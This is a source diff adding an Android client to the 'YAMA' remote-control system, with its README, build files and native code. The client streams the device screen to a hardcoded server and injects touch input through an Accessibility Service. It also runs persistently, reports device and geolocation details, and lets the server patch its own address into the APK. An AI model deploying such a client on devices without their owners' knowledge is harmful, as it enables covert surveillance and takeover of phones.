| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
### 审查流程
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
2. 确认所有新增条件分支均以 `isAndroidRemote`、`client_type === 'APK'` 等 Android 专有标志守卫
3. 共享协议结构体(`commands.h`、`LOGIN_INFOR`、`szReserved`)改动需确认向前/向后兼容
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
---
## 七、不在本期范围
- 音频监听(`AudioRecord` + Opus 编码)
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
- 摄像头(前/后摄)
- Shell 终端(`/system/bin/sh` + PTY,可参考 `PTYHandler.h`)
- Root 特权功能(uinput、内核注入)
+172
View File
@@ -0,0 +1,172 @@
# YAMA Android 客户端
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
- 屏幕实时截图并推流给服务端
- 接收服务端的触控/按键指令并注入到系统
- 后台保持心跳连接,支持长期驻留
---
## 编译前:配置服务端地址
服务端 IP 和端口在源码中硬编码,编译前必须修改:
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
```kotlin
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
private val serverPort = 443 // 改为你的服务端端口
```
改完再执行编译,否则客户端连不上服务端。
---
## 编译环境
在 **WSL(Ubuntu)或原生 Linux** 上编译,Windows 原生环境不支持。
| 依赖 | 版本要求 | 安装命令 |
|---|---|---|
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
| CMake | 3.22+ | `sudo apt install cmake` |
| Ninja | 任意 | `sudo apt install ninja-build` |
| Android SDK | 含 build-tools | 见下方说明 |
| Android NDK | 30.x(Linux 版) | 见下方说明 |
### Android SDK
推荐通过 Android Studio 安装,安装后 SDK 默认在:
- Windows:`%USERPROFILE%\AppData\Local\Android\Sdk`
- Linux:`~/Android/Sdk`
WSL 环境下脚本会自动检测 Windows 侧的 SDK,也可以手动指定:
```bash
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
```
### Android NDK(Linux 版)
> **重要**:必须使用 **Linux 版 NDK**,Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
```bash
# 下载 Linux NDK(约 600 MB)
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
unzip android-ndk-r30b-linux.zip -d $HOME
# 解压目录名可能带字母后缀(r30、r30b 等),统一重命名
mv $HOME/android-ndk-r30* $HOME/android-ndk
```
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
```bash
export ANDROID_NDK_HOME=$HOME/android-ndk
```
---
## 签名密钥(一次性准备)
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
```bash
# 方式一:环境变量(推荐,避免每次输入)
export YAMA_PWD=密钥库密码
# 方式二:编译时脚本会交互提示输入
```
如需重新生成密钥库(密码遗失等情况):
```bash
cd android/
keytool -genkeypair -keystore yama-release.jks \
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
-dname 'CN=YAMA,O=Internal,C=CN'
```
> 密钥库文件本身不含私密信息,可以提交到 git;密码不要提交。
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
---
## 编译
在 WSL 或 Linux 终端中,进入 `android/` 目录:
```bash
cd android/
# 编译 Release(默认,约 1.7 MB,推荐部署用)
./build_apk.sh
# 编译 Debug(约 4 MB,含调试符号,开发排查用)
./build_apk.sh debug
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
./build_apk.sh clean
```
编译成功后产物:
| 类型 | 路径 |
|---|---|
| Release | `ghost.apk` |
| Debug | `ghost-debug.apk` |
---
## 安装到设备
### 1. 传输 APK
将 `ghost.apk` 拷贝到手机(USB 传输、微信文件传输等均可)。
### 2. 安装
在手机上用文件管理器找到 APK,点击安装。
如提示"禁止安装未知来源应用",需先开启允许:
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
### 3. 解除受限设置(Android 13+ 必须)
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service:
1. 打开 **设置 → 应用 → YAMA**
2. 点击右上角 **三点菜单**
3. 选择 **"允许受限设置"**(Allow restricted settings)
4. 使用 PIN 或指纹确认
> 此步骤每次重新安装 APK 后都需要重复执行一次。
### 4. 授权必要权限
**Accessibility Service**(必须,用于注入触控/按键)
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
> 重装 APK 后此权限会被重置,需重新授权。
### 5. 启动
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
---
## 注意事项
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电
+83
View File
@@ -0,0 +1,83 @@
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
// 模拟器调试时传 -PincludeEmulatorAbis=true;build_apk.sh 发布时强制传 false
def INCLUDE_EMULATOR_ABIS = project.findProperty('includeEmulatorAbis')?.toBoolean() ?: false
android {
namespace 'com.yama.client'
compileSdk 35
ndkVersion "30.0.14904198"
defaultConfig {
applicationId "com.yama.client"
minSdk 21
targetSdk 35
versionCode 1
versionName "1.0"
ndk {
if (INCLUDE_EMULATOR_ABIS) {
abiFilters 'arm64-v8a', 'armeabi-v7a', 'x86', 'x86_64'
} else {
abiFilters 'arm64-v8a', 'armeabi-v7a'
}
}
externalNativeBuild {
cmake {
cppFlags '-std=c++17'
arguments '-DANDROID_STL=c++_static'
}
}
}
externalNativeBuild {
cmake {
path "src/main/cpp/CMakeLists.txt"
version "3.22.1"
}
}
signingConfigs {
release {
storeFile file("../yama-release.jks")
storePassword System.getenv("YAMA_PWD") ?: ""
keyAlias 'yama'
keyPassword System.getenv("YAMA_PWD") ?: ""
}
}
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
'proguard-rules.pro'
signingConfig signingConfigs.release
}
}
packagingOptions {
jniLibs {
// .so 文件不压缩(ZIP_STORED),使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
useLegacyPackaging false
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = '17'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.13.1'
implementation 'androidx.appcompat:appcompat:1.7.0'
}
+2
View File
@@ -0,0 +1,2 @@
# Keep all app classes — JNI method names must match exactly
-keep class com.yama.client.** { *; }
+47
View File
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<application
android:allowBackup="false"
android:extractNativeLibs="false"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:label="YAMA"
android:supportsRtl="true"
android:theme="@style/Theme.YAMA">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".CaptureService"
android:foregroundServiceType="dataSync|mediaProjection"
android:exported="false" />
<service
android:name=".ControlService"
android:description="@string/accessibility_service_description"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
</manifest>
+56
View File
@@ -0,0 +1,56 @@
cmake_minimum_required(VERSION 3.22)
project(yama_client LANGUAGES CXX C)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# YAMA 根目录(相对于本文件:cpp/ → main/ → src/ → app/ → android/ → YAMA/)
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
include_directories(
${YAMA_ROOT}
${YAMA_ROOT}/client
${YAMA_ROOT}/compress
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
)
# ---- 强制注入兼容头(替代修改共用源文件)----
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
set(CORE_SOURCES
${YAMA_ROOT}/client/Buffer.cpp
${YAMA_ROOT}/client/IOCPClient.cpp
${YAMA_ROOT}/client/sign_shim_unix.cpp
${YAMA_ROOT}/common/logger.cpp
${YAMA_ROOT}/common/ikcp.c
)
# ---- Android NDK 入口 ----
set(ANDROID_SOURCES
main.cpp
)
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
# ---- 预编译静态库(由 android/build_android_libs.ps1 产出)----
# 支持 arm64-v8a / armeabi-v7a(真机)和 x86 / x86_64(Android 模拟器)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
)
# ---- Android 系统库 ----
target_link_libraries(yama PRIVATE android log)
# ---- 编译选项 ----
target_compile_options(yama PRIVATE
-O2
-fvisibility=hidden
-Wno-unused-parameter
-Wno-missing-field-initializers
)
+200
View File
@@ -0,0 +1,200 @@
#pragma once
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU,
// 按协议封装后通过子连接发送给服务端。
#include "common/commands.h"
#include "client/IOCPClient.h"
#include <atomic>
#include <mutex>
#include <condition_variable>
#include <queue>
#include <vector>
#include <thread>
#include <cstring>
#include <cinttypes>
#include <android/log.h>
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
extern uint64_t g_myClientID;
// 定义在 main.cpp,供子连接的 OnReceive 调用
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
#pragma pack(push, 1)
struct BmpInfoHeader {
uint32_t biSize;
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes;
uint16_t biBitCount;
uint32_t biCompression;
uint32_t biSizeImage;
int32_t biXPelsPerMeter;
int32_t biYPelsPerMeter;
uint32_t biClrUsed;
uint32_t biClrImportant;
};
#pragma pack(pop)
class AndroidScreenHandler : public IOCPManager {
public:
AndroidScreenHandler(IOCPClient* client, int width, int height)
: m_client(client), m_width(width), m_height(height),
m_started(false), m_running(true), m_firstSent(false)
{
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
m_bmpHdr.biWidth = width;
m_bmpHdr.biHeight = height;
m_bmpHdr.biPlanes = 1;
m_bmpHdr.biBitCount = 32;
m_bmpHdr.biCompression = 0;
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
// 1 = top-down H264(Android MediaCodec 标准编码顺序);
// 服务端据此用负步长写 DIB,抵消 GDI bottom-up 翻转
m_bmpHdr.biClrImportant = 1;
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
}
~AndroidScreenHandler() {
m_running = false;
m_cond.notify_all();
if (m_sendThread.joinable())
m_sendThread.join();
}
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
void SendBitmapInfo() {
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(total, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
uint64_t clientID = g_myClientID;
uint64_t zero = 0;
size_t off = 1 + sizeof(BmpInfoHeader);
memcpy(&buf[off], &clientID, 8);
memcpy(&buf[off + 8], &zero, 8);
ScreenSettings ss = {};
ss.MaxFPS = 10;
ss.ScreenWidth = m_width;
ss.ScreenHeight = m_height;
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
memcpy(&buf[off + 16], &ss, sizeof(ss));
m_client->Send2Server((char*)buf.data(), total);
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
// 服务端在 auth 通过瞬间发 COMMAND_NEXT,此时 setManagerCallBack 尚未注册,
// 消息被 WorkThread 丢弃,m_started 永远 false 导致帧全部卡在队列里。
m_started = true;
m_cond.notify_all();
}
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
if (!m_running || size == 0) return;
{
std::lock_guard<std::mutex> lk(m_mutex);
while (m_queue.size() >= 6) m_queue.pop();
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
}
m_cond.notify_one();
}
virtual VOID OnReceive(PBYTE data, ULONG size) override {
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
LOGI_SH("COMMAND_NEXT received");
m_started = true;
m_cond.notify_all();
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
break;
case COMMAND_SCREEN_CONTROL: {
// 服务端通过子连接下发鼠标/键盘控制包(MSG64 固定 48 字节)
// 坐标从 lParam(offset 24)读取,与 Windows/Linux/macOS 客户端一致:
// lParam = MAKELPARAM(enc_x, enc_y),低16位=x,高16位=y。
// 不读 pt.x/pt.y (offset 40/44):64-bit MSG 的 pt 在 offset 36,
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
if ((ULONG)size < 1 + 48u) break;
const uint8_t* p = data + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
default:
break;
}
}
private:
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
IOCPClient* m_client;
int m_width, m_height;
std::atomic<bool> m_started;
std::atomic<bool> m_running;
std::atomic<bool> m_firstSent;
std::atomic<bool> m_skipLogged{false};
BmpInfoHeader m_bmpHdr;
std::queue<Frame> m_queue;
std::mutex m_mutex;
std::condition_variable m_cond;
std::thread m_sendThread;
void SendLoop() {
while (m_running) {
std::unique_lock<std::mutex> lk(m_mutex);
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
if (!m_running) break;
Frame f = std::move(m_queue.front());
m_queue.pop();
lk.unlock();
// 第一帧必须是关键帧
if (!m_firstSent && !f.isKeyframe) {
if (!m_skipLogged.exchange(true))
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
continue;
}
if (!m_firstSent)
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
SendH264(f.data.data(), (uint32_t)f.data.size());
m_firstSent = true;
}
}
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
std::vector<uint8_t> pkt(hdrSize + naluSize);
pkt[0] = TOKEN_NEXTSCREEN;
pkt[1] = ALGORITHM_H264;
// cursor: (0,0), type: IDC_ARROW=1
memset(&pkt[2], 0, 8);
pkt[10] = 1;
memcpy(&pkt[hdrSize], nalu, naluSize);
m_client->Send2Server((char*)pkt.data(), pkt.size());
}
};
+24
View File
@@ -0,0 +1,24 @@
// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
// 不修改任何共用代码(client/、common/)
#pragma once
#ifdef __ANDROID__
#include <string.h>
#include <stdlib.h>
#ifdef __cplusplus
#include <cstring>
#include <cstdlib>
// strcpy_s(dest, src) — MSVC 2-arg 扩展,Android NDK 无此签名
template<size_t N>
inline int strcpy_s(char (&dest)[N], const char* src) {
strncpy(dest, src ? src : "", N - 1);
dest[N - 1] = '\0';
return 0;
}
#endif // __cplusplus
// rand_s — Windows 安全随机数,Android 用 arc4random 替代
#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
#endif // __ANDROID__
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+825
View File
@@ -0,0 +1,825 @@
#include <jni.h>
#include <android/log.h>
#include <thread>
#include <chrono>
#include <atomic>
#include <mutex>
#include <set>
#include <string>
#include <cstring>
#include <cinttypes>
#include <cstdio>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include "common/commands.h"
#include "common/client_auth_state.h"
#include "common/rtt_estimator.h"
#include "client/IOCPClient.h"
#include "ScreenHandler.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/logger.h"
#define LOG_TAG "YAMA"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// 1 = 状态提示显示到电视屏幕;0 = 只写 logcat,不显示到屏幕
#define SCREEN_STATUS_ENABLED 0
extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg,
int msgLen, char* buf, int bufSize);
// ---- 设备信息 helper(登录时填充,仅调用一次)----
static int GetCpuCores() {
long n = sysconf(_SC_NPROCESSORS_ONLN);
return (n > 0) ? (int)n : 1;
}
static double GetMemoryGB() {
FILE* f = fopen("/proc/meminfo", "r");
if (!f) return 0.0;
char line[128];
unsigned long kb = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
}
fclose(f);
return kb / (1024.0 * 1024.0);
}
// 遍历 cpu0-cpu7,取 cpuinfo_max_freq 最大值(大核频率)
static int GetCpuMHz() {
// 优先从 sysfs 读取(真机有效)
unsigned long maxKhz = 0;
char path[80];
for (int i = 0; i < 8; i++) {
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
FILE* f = fopen(path, "r");
if (!f) continue;
unsigned long khz = 0;
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
fclose(f);
}
if (maxKhz > 0) return (int)(maxKhz / 1000);
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
FILE* f = fopen("/proc/cpuinfo", "r");
if (!f) return 0;
char line[128];
double bogomips = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
}
fclose(f);
return bogomips > 0 ? (int)bogomips : 0;
}
static long GetFileSize(const std::string& path) {
if (path.empty()) return 0;
struct stat st;
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
}
static std::string FormatFileSize(long bytes) {
char buf[32];
if (bytes >= 1024 * 1024)
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
else if (bytes >= 1024)
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
else
snprintf(buf, sizeof(buf), "%ldB", bytes);
return buf;
}
// 从 JSON 字符串中提取字符串字段值
static std::string JsonGetStr(const std::string& json, const char* key) {
std::string needle = std::string("\"") + key + "\":";
auto pos = json.find(needle);
if (pos == std::string::npos) return "";
pos += needle.size();
while (pos < json.size() && json[pos] == ' ') pos++;
if (pos >= json.size() || json[pos] != '"') return "";
pos++;
auto end = json.find('"', pos);
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
}
// 查询 ip-api.com,一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
// 在连接线程中同步调用,超时 3 秒
struct GeoResult {
std::string pubIp, location;
std::atomic<bool> ready{false};
};
static void FetchGeoInfoImpl(std::shared_ptr<GeoResult> out) {
struct addrinfo hints = {}, *res = nullptr;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) {
out->ready.store(true, std::memory_order_release); return;
}
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; }
struct timeval tv = {3, 0};
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
connect(fd, res->ai_addr, res->ai_addrlen);
fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds);
bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK);
if (connected) {
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
"Host: ip-api.com\r\n"
"Connection: close\r\n\r\n";
send(fd, req, strlen(req), 0);
std::string resp;
char buf[512];
ssize_t n;
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
auto sep = resp.find("\r\n\r\n");
if (sep != std::string::npos) {
const std::string body = resp.substr(sep + 4);
if (JsonGetStr(body, "status") == "success") {
out->pubIp = JsonGetStr(body, "query");
std::string city = JsonGetStr(body, "city");
std::string country = JsonGetStr(body, "country");
if (!city.empty() && !country.empty()) out->location = city + ", " + country;
else if (!country.empty()) out->location = country;
else if (!city.empty()) out->location = city;
}
}
}
close(fd);
freeaddrinfo(res);
out->ready.store(true, std::memory_order_release);
}
// getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
pubIp.clear(); location.clear();
auto result = std::make_shared<GeoResult>();
std::thread(FetchGeoInfoImpl, result).detach();
for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++)
usleep(100000); // 100ms × 50 = 5 秒
if (!result->ready.load(std::memory_order_acquire)) return false;
pubIp = result->pubIp;
location = result->location;
return !pubIp.empty();
}
// 服务端通过 FLAG_GHOST("Hello, World!")定位此变量,patch szServerIP/szPort 后重签 APK
// 偏移:szServerIP at +32, szPort at +132(见 commands.h CONNECT_ADDRESS 定义)
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
// ---- 全局状态 ----
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile,
// 直接用 State;ARM 4 字节对齐写入硬件层面原子,实际安全。
State g_bExit{S_CLIENT_NORMAL};
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
static std::atomic<bool> g_running{false};
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
// ---- JNI 反向调用(DataProcess → ControlService / CaptureService)----
static JavaVM* g_jvm = nullptr;
static jclass g_ctrlClass = nullptr;
static jmethodID g_ctrlMethod = nullptr;
static jmethodID g_getActiveWindowMid = nullptr;
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
static jmethodID g_forceFirstFrameMid = nullptr;
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
// 心跳日志限流:每 60 秒最多打一次
static std::atomic<uint64_t> g_lastHbLogMs{0};
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
// 定义在全局函数区;ScreenHandler.h 通过 extern 声明使用。
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
{
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
return;
}
if (msgVal != 0x200u)
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
static std::string GetActiveWindowFromJava()
{
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
attached = true;
} else if (st != JNI_OK || !jenv) {
return "Android";
}
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
std::string result = "Android";
if (js && !jenv->ExceptionOccurred()) {
const char* c = jenv->GetStringUTFChars(js, nullptr);
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
return result;
}
// 服务器连接参数
static std::string g_serverIp;
static int g_serverPort = 443;
// 设备信息(nativeInit 传入)
static std::string g_androidId;
static std::string g_deviceModel;
static std::string g_androidVersion;
static std::string g_screenRes;
static std::string g_username;
static std::string g_apkPath;
static std::string g_filesDir; // context.filesDir,无需权限,用于持久化分组名
static void SaveGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "w");
if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; }
fputs(g_SETTINGS.szGroupName, f);
fclose(f);
LOGI("Group saved: %s", g_SETTINGS.szGroupName);
}
static void LoadGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "r");
if (!f) return;
char buf[24] = {};
if (fgets(buf, sizeof(buf), f)) {
size_t len = strlen(buf);
while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0';
if (len > 0) {
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1);
LOGI("Group loaded from file: %s", buf);
}
}
fclose(f);
}
// 屏幕尺寸(Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
// 初始化为 0;ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
static std::atomic<int> g_screenWidth{0};
static std::atomic<int> g_screenHeight{0};
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
static std::set<AndroidScreenHandler*> g_screenHandlers;
static std::mutex g_shMutex;
// ------------------------------------------------------------------ 屏幕子连接线程
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
static void CallCaptureStaticVoid(jmethodID mid)
{
if (!g_jvm || !g_captureClass || !mid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_captureClass, mid);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
